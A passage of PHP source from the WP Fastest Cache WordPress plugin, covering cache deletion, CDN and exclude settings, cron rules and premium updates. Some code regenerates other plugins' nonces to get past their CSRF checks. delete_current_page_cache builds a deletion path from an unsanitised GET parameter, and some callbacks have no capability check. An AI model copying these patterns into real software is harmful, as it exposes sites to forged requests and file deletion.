$this->rm_folder_recursively($this->getWpContentDir()."/cache/tmpWpfc"); } if(isset($_POST) && isset($_POST["action"]) && $_POST["action"] == "kksr_ajax"){ if(isset($_POST["id"]) && $_POST["id"]){ if(isset($_POST["_wpnonce"]) && $_POST["_wpnonce"]){ //for kk Star Ratings include_once ABSPATH."wp-includes/pluggable.php"; $_POST["_wpnonce"] = wp_create_nonce("bhittani_plugin_kksr"); if(isset($_POST["stars"])){ if($_POST["stars"]){ $this->singleDeleteCache(false, $_POST["id"]); } } } } }else if(isset($_POST) && isset($_POST["action"]) && $_POST["action"] == "postratings"){ if(isset($_POST["pid"]) && $_POST["pid"]){ $key = "postratings_".$_POST["pid"]."_nonce"; if(isset($_POST[$key]) && $_POST[$key]){ //for WP-PostRatings include_once ABSPATH."wp-includes/pluggable.php"; $_POST[$key] = wp_create_nonce('postratings_'.$_POST["pid"].'-nonce'); } } }else if(isset($_POST) && isset($_POST["action"]) && $_POST["action"] == "yasr_send_visitor_rating"){ if(isset($_POST["nonce_visitor"]) && $_POST["nonce_visitor"]){ //for Yet Another Stars Rating include_once ABSPATH."wp-includes/pluggable.php"; $_POST["nonce_visitor"] = wp_create_nonce("yasr_nonce_insert_visitor_rating"); } }else if(isset($_POST) && isset($_POST["_ninja_forms_display_submit"])){ if(isset($_POST["_wpnonce"]) && $_POST["_wpnonce"]){ if(isset($_POST["_form_id"]) && $_POST["_form_id"]){ //for Ninja Forms include_once ABSPATH."wp-includes/pluggable.php"; $_POST["_wpnonce"] = wp_create_nonce('nf_form_'.$_POST["_form_id"]); } } }else if(isset($_POST) && isset($_POST["action"]) && $_POST["action"] == "cptch_reload"){ if(isset($_POST["cptch_nonce"]) && $_POST["cptch_nonce"]){ //for Mailchimp mc4wp.com include_once ABSPATH."wp-includes/pluggable.php"; $_POST["cptch_nonce"] = wp_create_nonce('cptch', 'cptch_nonce'); } }else if(isset($_POST) && isset($_POST["yiw_action"])){ if(isset($_POST["_wpnonce"]) && $_POST["_wpnonce"]){ //for yithemes contact form include_once ABSPATH."wp-includes/pluggable.php"; $_POST["_wpnonce"] = wp_create_nonce( "yit-sendmail"); } }else if(isset($_POST) && isset($_POST["_wpcf7_is_ajax_call"]) && $_POST["_wpcf7_is_ajax_call"] == "1"){ if(isset($_POST["_wpnonce"]) && $_POST["_wpnonce"]){ //for Contact Form 7 include_once ABSPATH."wp-includes/pluggable.php"; $_POST["_wpnonce"] = substr( wp_hash($_POST["_wpcf7"], 'nonce' ), -12, 10 ); } }else if(isset($_POST) && isset($_POST["action"]) && $_POST["action"] == "wpestate_ajax_agent_contact_form"){ if(isset($_POST["nonce"]) && $_POST["nonce"]){ //for WpResidence theme contact form include_once ABSPATH."wp-includes/pluggable.php"; foreach ($_POST as $key => &$value) { if(preg_match("/nonce/", $key)){ $value = wp_create_nonce('ajax-property-contact'); } } } }else if(isset($_POST) && isset($_POST["action"]) && $_POST["action"] == "vc_get_vc_grid_data"){ if(isset($_POST["vc_post_id"]) && $_POST["vc_post_id"]){ if(isset($_POST["_vcnonce"]) && $_POST["_vcnonce"]){ //for Visual Composer Grid-View include_once ABSPATH."wp-includes/pluggable.php"; foreach ($_POST as $key => &$value) { if(preg_match("/_vcnonce/", $key)){ $value = wp_create_nonce('vc-nonce-vc-public-nonce'); } } } } }else if(isset($_POST) && isset($_POST["action"]) && $_POST["action"] == "polls"){ //for WP-Polls include_once ABSPATH."wp-includes/pluggable.php"; foreach ($_POST as $key => &$value) { if(preg_match("/poll_\d+_nonce/", $key)){ $value = wp_create_nonce('poll_'.$_POST["poll_id"].'-nonce'); } } }else if(isset($_POST) && isset($_POST["action"]) && $_POST["action"] == "wpfc_wppolls_ajax_request"){ //for WP-Polls require_once "inc/wp-polls.php"; $wp_polls = new WpPollsForWpFc(); $wp_polls->hook(); }else if(isset($_GET) && isset($_GET["action"]) && in_array($_GET["action"], $optimize_image_ajax_requests)){ if($this->isPluginActive("wp-fastest-cache-premium/wpFastestCachePremium.php")){ include_once $this->get_premium_path("image.php"); $img = new WpFastestCacheImageOptimisation(); $img->hook(); } }else if(isset($_GET) && isset($_GET["action"]) && $_GET["action"] == "wpfastestcache"){ if(isset($_GET) && isset($_GET["type"]) && $_GET["type"] == "preload"){ // /?action=wpfastestcache&type=preload $this->create_preload_cache(); } exit; }else{ $this->setCustomInterval(); $this->options = $this->getOptions(); add_action('transition_post_status', array($this, 'on_all_status_transitions'), 10, 3 ); $this->commentHooks(); $this->checkCronTime(); register_deactivation_hook( __FILE__, array('WpFastestCache', 'deactivate')); register_uninstall_hook( __FILE__, array('WpFastestCache', 'uninstall')); if($this->isPluginActive("wp-fastest-cache-premium/wpFastestCachePremium.php")){ include_once $this->get_premium_path("mobile-cache.php"); } if($this->isPluginActive("wp-fastest-cache-premium/wpFastestCachePremium.php")){ include_once $this->get_premium_path("powerful-html.php"); } if($this->isPluginActive("wp-fastest-cache-premium/wpFastestCachePremium.php")){ if(file_exists(WPFC_WP_PLUGIN_DIR."/wp-fastest-cache-premium/pro/library/statics.php")){ include_once $this->get_premium_path("statics.php"); } } if(is_admin()){ // to avoid loading menu and optionPage() twice if(!class_exists("WpFastestCacheAdmin")){ //for wp-panel if($this->isPluginActive("wp-fastest-cache-premium/wpFastestCachePremium.php")){ include_once $this->get_premium_path("image.php"); } if($this->isPluginActive("wp-fastest-cache-premium/wpFastestCachePremium.php")){ include_once $this->get_premium_path("logs.php"); } add_action('wp_ajax_wpfc_cdn_template_ajax_request', array($this, 'wpfc_cdn_template_ajax_request_callback')); add_action('plugins_loaded', array($this, 'wpfc_load_plugin_textdomain')); add_action('wp_loaded', array($this, "load_admin_toolbar")); $this->admin(); } }else{ if(preg_match("/wpfc-minified\/([^\/]+)\/([^\/]+)/", $this->current_url(), $path)){ if($sources = @scandir(WPFC_WP_CONTENT_DIR."/cache/wpfc-minified/".$path[1], 1)){ if(isset($sources[0])){ // $exist_url = str_replace($path[2], $sources[0], $this->current_url()); // header('Location: ' . $exist_url, true, 301); // exit; if(preg_match("/\.css/", $this->current_url())){ header('Content-type: text/css'); }else if(preg_match("/\.js/", $this->current_url())){ header('Content-type: text/js'); } echo file_get_contents(WPFC_WP_CONTENT_DIR."/cache/wpfc-minified/".$path[1]."/".$sources[0]); exit; } } }else{ // to show if the user is logged-in add_action('wp_loaded', array($this, "load_admin_toolbar")); //for cache $this->cache(); } } } } public function wpfc_db_fix_callback(){ if($this->isPluginActive("wp-fastest-cache-premium/wpFastestCachePremium.php")){ include_once $this->get_premium_path("db.php"); if(class_exists("WpFastestCacheDatabaseCleanup")){ WpFastestCacheDatabaseCleanup::clean($_GET["type"]); }else{ die(json_encode(array("success" => false, "showupdatewarning" => true, "message" => "Only available in Premium version"))); } }else{ die(json_encode(array("success" => false, "message" => "Only available in Premium version"))); } } public function wpfc_db_statics_callback(){ global $wpdb; $statics = array("all_warnings" => 0, "post_revisions" => 0, "trashed_contents" => 0, "trashed_spam_comments" => 0, "trackback_pingback" => 0, "transient_options" => 0 ); $element = "SELECT * FROM `$wpdb->posts` WHERE post_type = 'revision';"; $statics["post_revisions"] = $wpdb->query( $element ); $statics["all_warnings"] = $statics["all_warnings"] + $wpdb->query( $element ); $element = "SELECT * FROM `$wpdb->posts` WHERE post_status = 'trash';"; $statics["trashed_contents"] = $wpdb->query( $element ); $statics["all_warnings"] = $statics["all_warnings"] + $wpdb->query( $element ); $element = "SELECT * FROM `$wpdb->comments` WHERE comment_approved = 'spam' OR comment_approved = 'trash' ;"; $statics["trashed_spam_comments"] = $wpdb->query( $element ); $statics["all_warnings"] = $statics["all_warnings"] + $wpdb->query( $element ); $element = "SELECT * FROM `$wpdb->comments` WHERE comment_type = 'trackback' OR comment_type = 'pingback' ;"; $statics["trackback_pingback"] = $wpdb->query( $element ); $statics["all_warnings"] = $statics["all_warnings"] + $wpdb->query( $element ); $element = "SELECT * FROM `$wpdb->options` WHERE option_name LIKE '%\_transient\_%' ;"; $statics["transient_options"] = $wpdb->query( $element ); $statics["all_warnings"] = $statics["all_warnings"] + $wpdb->query( $element ); die(json_encode($statics)); } public function is_trailing_slash(){ // no need to check if Custom Permalinks plugin is active (https://tr.wordpress.org/plugins/custom-permalinks/) if($this->isPluginActive("custom-permalinks/custom-permalinks.php")){ return false; } if($permalink_structure = get_option('permalink_structure')){ if(preg_match("/\/$/", $permalink_structure)){ return true; } } return false; } public function wpfc_update_premium_callback(){ if(current_user_can('manage_options')){ if($this->isPluginActive("wp-fastest-cache-premium/wpFastestCachePremium.php")){ if(!file_exists(WPFC_WP_PLUGIN_DIR."/wp-fastest-cache-premium/pro/library/update.php")){ $res = array("success" => false, "error_message" => "update.php is not exist"); }else{ include_once $this->get_premium_path("update.php"); if(!class_exists("WpFastestCacheUpdate")){ $res = array("success" => false, "error_message" => "WpFastestCacheUpdate is not exist"); }else{ $wpfc_premium = new WpFastestCacheUpdate(); $content = $wpfc_premium->download_premium(); if($content["success"]){ $wpfc_zip_data = $content["content"]; $wpfc_zip_dest_path = WPFC_WP_PLUGIN_DIR."/wp-fastest-cache-premium.zip"; if(@file_put_contents($wpfc_zip_dest_path, $wpfc_zip_data)){ include_once ABSPATH."wp-admin/includes/file.php"; include_once ABSPATH."wp-admin/includes/plugin.php"; if(function_exists("unzip_file")){ $this->rm_folder_recursively(WPFC_WP_PLUGIN_DIR."/wp-fastest-cache-premium"); if(!function_exists('gzopen')){ $res = array("success" => false, "error_message" => "Missing zlib extension"); }else{ WP_Filesystem(); $unzipfile = unzip_file($wpfc_zip_dest_path, WPFC_WP_PLUGIN_DIR."/"); if ($unzipfile) { $result = activate_plugin( 'wp-fastest-cache-premium/wpFastestCachePremium.php' ); if ( is_wp_error( $result ) ) { $res = array("success" => false, "error_message" => "Error occured while the plugin was activated"); }else{ $res = array("success" => true); //$this->deleteCache(true); } } else { $res = array("success" => false, "error_message" => 'Error occured while the file was unzipped'); } } }else{ $res = array("success" => false, "error_message" => "unzip_file() is not found"); } }else{ $res = array("success" => false, "error_message" => "/wp-content/plugins/ is not writable"); } }else{ $res = array("success" => false, "error_message" => $content["error_message"]); } } } }else{ $res = array("success" => false, "error_message" => "Premium is not active"); } echo json_encode($res); exit; }else{ wp_die("Must be admin"); } } public function wpfc_cache_statics_get_callback(){ if($this->isPluginActive("wp-fastest-cache-premium/wpFastestCachePremium.php")){ if(file_exists(WPFC_WP_PLUGIN_DIR."/wp-fastest-cache-premium/pro/library/statics.php")){ include_once $this->get_premium_path("statics.php"); $cache_statics = new WpFastestCacheStatics(); $res = $cache_statics->get(); echo json_encode($res); exit; } } } public function wpfc_check_url_ajax_request_callback(){ if(current_user_can('manage_options')){ if(preg_match("/wp\.com/", $_GET["url"])){ $res = array("success" => true); echo json_encode($res); exit; } $_GET["url"] = strip_tags($_GET["url"]); $_GET["url"] = str_replace(array("'", '"'), "", $_GET["url"]); if(!preg_match("/^http/", $_GET["url"])){ $_GET["url"] = "http://".$_GET["url"]; } $response = wp_remote_get($_GET["url"], array('timeout' => 20 ) ); $header = wp_remote_retrieve_headers($response); if ( !$response || is_wp_error( $response ) ) { $res = array("success" => false, "error_message" => $response->get_error_message()); if($response->get_error_code() == "http_request_failed"){ if($response->get_error_message() == "Failure when receiving data from the peer"){ $res = array("success" => true); } } }else{ $response_code = wp_remote_retrieve_response_code( $response ); if($response_code == 200){ $res = array("success" => true); }else{ if(method_exists($response, "get_error_message")){ $res = array("success" => false, "error_message" => $response->get_error_message()); }else{ $res = array("success" => false, "error_message" => wp_remote_retrieve_response_message($response)); } if(isset($header["server"]) && preg_match("/squid/i", $header["server"])){ $res = array("success" => true); } } } echo json_encode($res); exit; }else{ wp_die("Must be admin"); } } public function wpfc_cdn_template_ajax_request_callback(){ if(current_user_can('manage_options')){ if($_POST["id"] == "maxcdn"){ $path = WPFC_MAIN_PATH."templates/cdn/maxcdn.php"; }else if($_POST["id"] == "other"){ $path = WPFC_MAIN_PATH."templates/cdn/other.php"; }else if($_POST["id"] == "photon"){ $path = WPFC_MAIN_PATH."templates/cdn/photon.php"; }else{ die("Wrong cdn"); } ob_start(); include_once($path); $content = ob_get_contents(); ob_end_clean(); $res = array("success" => false, "content" => ""); if($data = @file_get_contents($path)){ $res["success"] = true; $res["content"] = $content; } echo json_encode($res); exit; }else{ wp_die("Must be admin"); } } public function wpfc_save_cdn_integration_ajax_request_callback(){ if(current_user_can('manage_options')){ if($data = get_option("WpFastestCacheCDN")){ $cdn_exist = false; $arr = json_decode($data); if(is_array($arr)){ foreach ($arr as $cdn_key => &$cdn_value) { if($cdn_value->id == $_POST["values"]["id"]){ $cdn_value = $_POST["values"]; $cdn_exist = true; } } if(!$cdn_exist){ array_push($arr, $_POST["values"]); } update_option("WpFastestCacheCDN", json_encode($arr)); }else{ $tmp_arr = array(); if($arr->id == $_POST["values"]["id"]){ array_push($tmp_arr, $_POST["values"]); }else{ array_push($tmp_arr, $arr); array_push($tmp_arr, $_POST["values"]); } update_option("WpFastestCacheCDN", json_encode($tmp_arr)); } }else{ $arr = array(); array_push($arr, $_POST["values"]); add_option("WpFastestCacheCDN", json_encode($arr), null, "yes"); } echo json_encode(array("success" => true)); exit; }else{ wp_die("Must be admin"); } } public function wpfc_remove_cdn_integration_ajax_request_callback(){ if(current_user_can('manage_options')){ $cdn_values = get_option("WpFastestCacheCDN"); if($cdn_values){ $std_obj = json_decode($cdn_values); $cdn_values_arr = array(); if(is_array($std_obj)){ $cdn_values_arr = $std_obj; }else{ array_push($cdn_values_arr, $std_obj); } foreach ($cdn_values_arr as $cdn_key => $cdn_value) { if($cdn_value->id == "amazonaws" || $cdn_value->id == "keycdn" || $cdn_value->id == "cdn77"){ $cdn_value->id = "other"; } if($cdn_value->id == $_POST["id"]){ unset($cdn_values_arr[$cdn_key]); } } $cdn_values_arr = array_values($cdn_values_arr); } if(count($cdn_values_arr) > 0){ update_option("WpFastestCacheCDN", json_encode($cdn_values_arr)); }else{ delete_option("WpFastestCacheCDN"); } echo json_encode(array("success" => true)); exit; }else{ wp_die("Must be admin"); } } public function wpfc_cdn_options_ajax_request_callback(){ if(current_user_can('manage_options')){ $cdn_values = get_option("WpFastestCacheCDN"); if($cdn_values){ echo $cdn_values; }else{ echo json_encode(array("success" => false)); } exit; }else{ wp_die("Must be admin"); } } public function wpfc_save_exclude_pages_callback(){ if(!wp_verify_nonce($_POST["security"], 'wpfc-save-exclude-ajax-nonce')){ die( 'Security check' ); } if(current_user_can('manage_options')){ if(isset($_POST["rules"])){ foreach ($_POST["rules"] as $key => &$value) { $value["prefix"] = strip_tags($value["prefix"]); $value["content"] = strip_tags($value["content"]); $value["prefix"] = preg_replace("/\=|\'|\"/", "", $value["prefix"]); $value["content"] = preg_replace("/\=|\'|\"/", "", $value["content"]); $value["content"] = trim($value["content"], "/"); $value["content"] = str_replace("#", "", $value["content"]); $value["content"] = str_replace(" ", "", $value["content"]); if($value["prefix"] == "homepage"){ $this->deleteHomePageCache(false); } } $data = json_encode($_POST["rules"]); if(get_option("WpFastestCacheExclude")){ update_option("WpFastestCacheExclude", $data); }else{ add_option("WpFastestCacheExclude", $data, null, "yes"); } }else{ delete_option("WpFastestCacheExclude"); } $this->modify_htaccess_for_exclude(); echo json_encode(array("success" => true)); exit; }else{ wp_die("Must be admin"); } } public function modify_htaccess_for_exclude(){ $path = ABSPATH; if($this->is_subdirectory_install()){ $path = $this->getABSPATH(); } $htaccess = @file_get_contents($path.".htaccess"); if(preg_match("/\#\s?Start\sWPFC\sExclude/", $htaccess)){ $exclude_rules = $this->excludeRules(); $htaccess = preg_replace("/\#\s?Start\sWPFC\sExclude[^\#]*\#\s?End\sWPFC\sExclude\s+/", $exclude_rules, $htaccess); } @file_put_contents($path.".htaccess", $htaccess); } public function wpfc_save_timeout_pages_callback(){ if(!wp_verify_nonce($_POST["security"], 'wpfc-save-timeout-ajax-nonce')){ die( 'Security check' ); } if(current_user_can('manage_options')){ $this->setCustomInterval(); $crons = _get_cron_array(); foreach ($crons as $cron_key => $cron_value) { foreach ( (array) $cron_value as $hook => $events ) { if(preg_match("/^wp\_fastest\_cache(.*)/", $hook, $id)){ if(!$id[1] || preg_match("/^\_(\d+)$/", $id[1])){ foreach ( (array) $events as $event_key => $event ) { if($id[1]){ wp_clear_scheduled_hook("wp_fastest_cache".$id[1], $event["args"]); }else{ wp_clear_scheduled_hook("wp_fastest_cache", $event["args"]); } } } } } } if(isset($_POST["rules"]) && count($_POST["rules"]) > 0){ $i = 0; foreach ($_POST["rules"] as $key => $value) { if(preg_match("/^(daily|onceaday)$/i", $value["schedule"]) && isset($value["hour"]) && isset($value["minute"]) && strlen($value["hour"]) > 0 && strlen($value["minute"]) > 0){ $args = array("prefix" => $value["prefix"], "content" => $value["content"], "hour" => $value["hour"], "minute" => $value["minute"]); $timestamp = mktime($value["hour"],$value["minute"],0,date("m"),date("d"),date("Y")); $timestamp = $timestamp > time() ? $timestamp : $timestamp + 60*60*24; }else{ $args = array("prefix" => $value["prefix"], "content" => $value["content"]); $timestamp = time(); } wp_schedule_event($timestamp, $value["schedule"], "wp_fastest_cache_".$i, array(json_encode($args))); $i = $i + 1; } } echo json_encode(array("success" => true)); exit; }else{ wp_die("Must be admin"); } } public function wp_postratings_clear_fastest_cache($rate_userid, $post_id){ // to remove cache if vote is from homepage or category page or tag if(isset($_SERVER["HTTP_REFERER"]) && $_SERVER["HTTP_REFERER"]){ $url = parse_url($_SERVER["HTTP_REFERER"]); $url["path"] = isset($url["path"]) ? $url["path"] : "/index.html"; if(isset($url["path"])){ if($url["path"] == "/"){ $this->rm_folder_recursively($this->getWpContentDir()."/cache/all/index.html"); }else{ $this->rm_folder_recursively($this->getWpContentDir()."/cache/all".$url["path"]); } } } if($post_id){ $this->singleDeleteCache(false, $post_id); } } private function admin(){ if(isset($_GET["page"]) && $_GET["page"] == "wpfastestcacheoptions"){ include_once('inc/admin.php'); $wpfc = new WpFastestCacheAdmin(); $wpfc->addMenuPage(); }else{ add_action('admin_menu', array($this, 'register_my_custom_menu_page')); } } public function load_admin_toolbar(){ if(!defined('WPFC_HIDE_TOOLBAR') || (defined('WPFC_HIDE_TOOLBAR') && !WPFC_HIDE_TOOLBAR)){ $show = false; // Admin $show = (current_user_can( 'manage_options' ) || current_user_can('edit_others_pages')) ? true : false; // Author if(defined('WPFC_TOOLBAR_FOR_AUTHOR') && WPFC_TOOLBAR_FOR_AUTHOR){ if(current_user_can( 'delete_published_posts' ) || current_user_can('edit_published_posts')) { $show = true; } } if($show){ include_once plugin_dir_path(__FILE__)."inc/admin-toolbar.php"; add_action('wp_ajax_wpfc_delete_cache', array($this, "deleteCacheToolbar")); add_action('wp_ajax_wpfc_delete_cache_and_minified', array($this, "deleteCssAndJsCacheToolbar")); add_action('wp_ajax_wpfc_delete_current_page_cache', array($this, "delete_current_page_cache")); $toolbar = new WpFastestCacheAdminToolbar(); $toolbar->add(); } } } public function register_my_custom_menu_page(){ if(function_exists('add_menu_page')){ add_menu_page("WP Fastest Cache Settings", "WP Fastest Cache", 'manage_options', "wpfastestcacheoptions", array($this, 'optionsPage'), plugins_url("wp-fastest-cache/images/icon-32x32.png")); wp_enqueue_style("wp-fastest-cache", plugins_url("wp-fastest-cache/css/style.css"), array(), time(), "all"); } if(isset($_GET["page"]) && $_GET["page"] == "wpfastestcacheoptions"){ wp_enqueue_style("wp-fastest-cache-buycredit", plugins_url("wp-fastest-cache/css/buycredit.css"), array(), time(), "all"); wp_enqueue_style("wp-fastest-cache-flaticon", plugins_url("wp-fastest-cache/css/flaticon.css"), array(), time(), "all"); wp_enqueue_style("wp-fastest-cache-db-flaticon", plugins_url("wp-fastest-cache/css/db/flaticon.css"), array(), time(), "all"); wp_enqueue_style("wp-fastest-cache-dialog", plugins_url("wp-fastest-cache/css/dialog.css"), array(), time(), "all"); } } public function deleteCacheToolbar(){ $this->deleteCache(); } public function deleteCssAndJsCacheToolbar(){ $this->deleteCache(true); } public function delete_current_page_cache(){ if(isset($_GET["path"])){ if($_GET["path"]){ if($_GET["path"] == "/"){ $_GET["path"] = $_GET["path"]."index.html"; } }else{ $_GET["path"] = "/index.html"; } $paths = array(); array_push($paths, $this->getWpContentDir()."/cache/all".$_GET["path"]); if(class_exists("WpFcMobileCache")){ $wpfc_mobile = new WpFcMobileCache(); array_push($paths, $this->getWpContentDir()."/cache/".$wpfc_mobile->get_folder_name()."".$_GET["path"]); } foreach ($paths as $key => $value){ if(file_exists($value)){ if(preg_match("/\/(all|wpfc-mobile-cache)\/index\.html$/i", $value)){ @unlink($value); }else{ $this->rm_folder_recursively($value); } } } die(json_encode(array("The cache of page has been cleared","success"))); }else{ die(json_encode(array("Path has NOT been defined", "error", "alert"))); } exit; } private function cache(){ include_once('inc/cache.php'); $wpfc = new WpFastestCacheCreateCache(); $wpfc->createCache(); } public function deactivate(){ $wpfc = new WpFastestCache(); $path = ABSPATH; if($wpfc->is_subdirectory_install()){ $path = $wpfc->getABSPATH(); } if(is_file($path.".htaccess") && is_writable($path.".htaccess")){ $htaccess = file_get_contents($path.".htaccess"); $htaccess = preg_replace("/#\s?BEGIN\s?WpFastestCache.*?#\s?END\s?WpFastestCache/s", "", $htaccess); $htaccess = preg_replace("/#\s?BEGIN\s?GzipWpFastestCache.*?#\s?END\s?GzipWpFastestCache/s", "", $htaccess); $htaccess = preg_replace("/#\s?BEGIN\s?LBCWpFastestCache.*?#\s?END\s?LBCWpFastestCache/s", "", $htaccess); @file_put_contents($path.".htaccess", $htaccess); } $wpfc->deleteCache(); } public function uninstall(){ $wpfc = new WpFastestCache(); $wpfc->deactivate(); // wp_clear_scheduled_hook("wp_fastest_cache"); // wp_clear_scheduled_hook("wp_fastest_cache_regular"); delete_option("WpFastestCache"); delete_option("WpFcDeleteCacheLogs"); delete_option("WpFastestCacheCDN"); delete_option("WpFastestCacheExclude"); delete_option("WpFastestCachePreLoad"); delete_option("WpFastestCacheCSS"); delete_option("WpFastestCacheCSSSIZE"); delete_option("WpFastestCacheJS"); delete_option("WpFastestCacheJSSIZE"); foreach ((array)_get_cron_array() as $cron_key => $cron_value) { foreach ( (array) $cron_value as $hook => $events ) { if(preg_match("/^wp\_fastest\_cache/", $hook)){ $args = array(); foreach ( (array) $events as $event_key => $event ) { if(isset($event["args"]) && isset($event["args"][0])){ $args = array(json_encode(json_decode($event["args"][0]))); } } wp_clear_scheduled_hook($hook, $args); } } } } protected function slug(){ return "wp_fastest_cache"; } protected function getWpContentDir(){ return WPFC_WP_CONTENT_DIR; } protected function getOptions(){ return $GLOBALS["wp_fastest_cache_options"]; } protected function getSystemMessage(){ return $this->systemMessage; } protected function get_excluded_useragent(){ return "facebookexternalhit|WhatsApp|Mediatoolkitbot"; } // protected function detectNewPost(){ // if(isset($this->options->wpFastestCacheNewPost) && isset($this->options->wpFastestCacheStatus)){ // add_filter ('save_post', array($this, 'deleteCache')); // } // } public function on_all_status_transitions($new_status, $old_status, $post) { if ( ! wp_is_post_revision($post->ID) ){ if(isset($this->options->wpFastestCacheNewPost) && isset($this->options->wpFastestCacheStatus)){ if($new_status == "publish" && $old_status != "publish"){ if(isset($this->options->wpFastestCacheNewPost_type) && $this->options->wpFastestCacheNewPost_type){ if($this->options->wpFastestCacheNewPost_type == "all"){ $this->deleteCache(); }else if($this->options->wpFastestCacheNewPost_type == "homepage"){ $this->deleteHomePageCache(); } }else{ $this->deleteCache(); } }else if($new_status == "trash" && $old_status == "publish"){ $this->deleteCache(); }else if(($new_status == "draft" || $new_status == "pending") && $old_status == "publish"){ $this->deleteCache(); } } if($new_status == "publish" && $old_status == "publish"){ if(isset($this->options->wpFastestCacheUpdatePost) && isset($this->options->wpFastestCacheStatus)){ if($this->options->wpFastestCacheUpdatePost_type == "post"){ $this->singleDeleteCache(false, $post->ID); }else if($this->options->wpFastestCacheUpdatePost_type == "all"){ $this->deleteCache(); } } // if(defined('WPFC_DELETE_ALL_CACHE_AFTER_UPDATE') && WPFC_DELETE_ALL_CACHE_AFTER_UPDATE){ // $this->deleteCache(); // }else{ // $this->singleDeleteCache(false, $post->ID); // } } } } protected function commentHooks(){ //it works when the status of a comment changes add_filter ('wp_set_comment_status', array($this, 'singleDeleteCache')); //it works when a comment is saved in the database add_filter ('comment_post', array($this, 'detectNewComment')); } public function detectNewComment($comment_id){ if(current_user_can( 'manage_options') || !get_option('comment_moderation')){ $this->singleDeleteCache($comment_id); } } public function singleDeleteCache($comment_id = false, $post_id = false){ if($comment_id){ $comment = get_comment($comment_id); if($comment && $comment->comment_post_ID){ $post_id = $comment->comment_post_ID; } } if($post_id){ $permalink = get_permalink($post_id); if(preg_match("/https?:\/\/[^\/]+\/(.+)/", $permalink, $out)){ $path = $this->getWpContentDir()."/cache/all/".$out[1]; $mobile_path = $this->getWpContentDir()."/cache/wpfc-mobile-cache/".$out[1]; if(is_dir($path)){ if($this->isPluginActive("wp-fastest-cache-premium/wpFastestCachePremium.php")){ include_once $this->get_premium_path("logs.php"); $log = new WpFastestCacheLogs("delete"); $log->action(); } $this->rm_folder_recursively($path); } if(is_dir($mobile_path)){ $this->rm_folder_recursively($mobile_path); } } // Sometimes there is no path of post/page static pages if(get_option('page_on_front') == $post_id){ @unlink($this->getWpContentDir()."/cache/all/index.html"); @unlink($this->getWpContentDir()."/cache/wpfc-mobile-cache/index.html"); } if(is_sticky($post_id)){ @unlink($this->getWpContentDir()."/cache/all/index.html"); @unlink($this->getWpContentDir()."/cache/wpfc-mobile-cache/index.html"); } // to check the post appears on homepage if(!get_option('page_on_front')){ $numberposts = get_option("posts_per_page") - count(get_option('sticky_posts')); if($numberposts > 0){ $recent_posts = wp_get_recent_posts(array( 'numberposts' => $numberposts, 'orderby' => 'post_date', 'order' => 'DESC', 'post_type' => 'post', 'post_status' => 'publish', 'suppress_filters' => true ), ARRAY_A); foreach ((array)$recent_posts as $key => $value) { if($post_id == $value["ID"]){ @unlink($this->getWpContentDir()."/cache/all/index.html"); @unlink($this->getWpContentDir()."/cache/wpfc-mobile-cache/index.html"); } } } } // to check the post appears on cat // toDO // to check the post appears on tag // toDO } } public function deleteHomePageCache($log = true){ $site_url_path = preg_replace("/https?\:\/\/[^\/]+/i", "", site_url()); $home_url_path = preg_replace("/https?\:\/\/[^\/]+/i", "", home_url()); if($site_url_path){ $site_url_path = trim($site_url_path, "/"); if($site_url_path){ @unlink($this->getWpContentDir()."/cache/all/".$site_url_path."/index.html"); @unlink($this->getWpContentDir()."/cache/wpfc-mobile-cache/".$site_url_path."/index.html"); } } if($home_url_path){ $home_url_path = trim($home_url_path, "/"); if($home_url_path){ @unlink($this->getWpContentDir()."/cache/all/".$home_url_path."/index.html"); @unlink($this->getWpContentDir()."/cache/wpfc-mobile-cache/".$home_url_path."/index.html"); } } @unlink($this->getWpContentDir()."/cache/all/index.html"); @unlink($this->getWpContentDir()."/cache/wpfc-mobile-cache/index.html"); if($log){ if($this->isPluginActive("wp-fastest-cache-premium/wpFastestCachePremium.php")){ include_once $this->get_premium_path("logs.php"); $log = new WpFastestCacheLogs("delete"); $log->action(); } } } public function deleteCache($minified = false){ $this->set_preload(); $created_tmpWpfc = false; $cache_deleted = false; $minifed_deleted = false; $cache_path = $this->getWpContentDir()."/cache/all"; $minified_cache_path = $this->getWpContentDir()."/cache/wpfc-minified"; if(class_exists("WpFcMobileCache")){ $wpfc_mobile = new WpFcMobileCache(); $wpfc_mobile->delete_cache($this->getWpContentDir()); } if(!is_dir($this->getWpContentDir()."/cache/tmpWpfc")){ if(@mkdir($this->getWpContentDir()."/cache/tmpWpfc", 0755, true)){ $created_tmpWpfc = true; }else{ $created_tmpWpfc = false; //$this->systemMessage = array("Permission of /wp-content/cache must be 755", "error"); } }else{ $created_tmpWpfc = true; } if(is_dir($cache_path)){ if(@rename($cache_path, $this->getWpContentDir()."/cache/tmpWpfc/".time())){ delete_option("WpFastestCacheHTML"); delete_option("WpFastestCacheHTMLSIZE"); delete_option("WpFastestCacheMOBILE"); delete_option("WpFastestCacheMOBILESIZE"); $cache_deleted = true; } }else{ $cache_deleted = true; } if($minified){ if(is_dir($minified_cache_path)){ if(@rename($minified_cache_path, $this->getWpContentDir()."/cache/tmpWpfc/m".time())){ delete_option("WpFastestCacheCSS"); delete_option("WpFastestCacheCSSSIZE"); delete_option("WpFastestCacheJS"); delete_option("WpFastestCacheJSSIZE"); $minifed_deleted = true; } }else{ $minifed_deleted = true; } }else{ $minifed_deleted = true; } if($created_tmpWpfc && $cache_deleted && $minifed_deleted){ $this->systemMessage = array("All cache files have been deleted","success"); if($this->isPluginActive("wp-fastest-cache-premium/wpFastestCachePremium.php")){ include_once $this->get_premium_path("logs.php"); $log = new WpFastestCacheLogs("delete"); $log->action(); } }else{ $this->systemMessage = array("Permissions Problem: Read More", "error", array("light_box" => "delete_cache_permission_error")); } // for ajax request if(isset($_GET["action"]) && in_array($_GET["action"], array("wpfc_delete_cache", "wpfc_delete_cache_and_minified"))){ die(json_encode($this->systemMessage)); } } public function checkCronTime(){ $crons = _get_cron_array(); foreach ((array)$crons as $cron_key => $cron_value) { foreach ( (array) $cron_value as $hook => $events ) { if(preg_match("/^wp\_fastest\_cache(.*)/", $hook, $id)){ if(!$id[1] || preg_match("/^\_(\d+)$/", $id[1])){ foreach ( (array) $events as $event_key => $event ) { add_action("wp_fastest_cache".$id[1], array($this, 'setSchedule')); } } } } } add_action($this->slug()."_Preload", array($this, 'create_preload_cache')); } public function set_preload(){ $preload_arr = array(); if(!empty($_POST)){ foreach ($_POST as $key => $value) { preg_match("/wpFastestCachePreload_(.+)/", $key, $type); if(!empty($type)){ if($type[1] == "number"){ $preload_arr[$type[1]] = $value; }else{ $preload_arr[$type[1]] = 0; } } } } if($data = 